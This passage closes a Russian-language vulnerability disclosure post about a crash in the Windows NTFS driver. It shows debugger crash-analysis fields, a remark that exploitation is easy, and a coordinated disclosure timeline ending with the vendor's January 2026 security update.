FAILURE_BUCKET_ID:  AV_VRF_Ntfs!PageUpdateAnalysis

OS_VERSION:  10.0.26100.1

BUILDLAB_STR:  ge_release

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

FAILURE_ID_HASH:  {9d54520b-212c-9f3b-ad4b-052c7a9e7f7e}

Followup:     MachineOwner
---------

Дальнейшая эксплуатация уязвимости не представляет сложности.

Хронология раскрытия информации

  • 23 сентября 2025 года — производитель был уведомлен об уязвимости и получил технический отчет.
  • 25 сентября 2025 года — производитель завершил внутренний анализ и подтвердил наличие уязвимости. Были предоставлены предварительные сроки выпуска исправления и публикации бюллетеня безопасности.
  • 26 сентября 2025 года — производитель был уведомлен о планируемом публичном раскрытии информации.
  • 13 января 2026 года — были выпущены обновления безопасности и опубликован бюллетень.

Ещё от author_vr

Ещё от author_vr

Ещё в группе «Общее»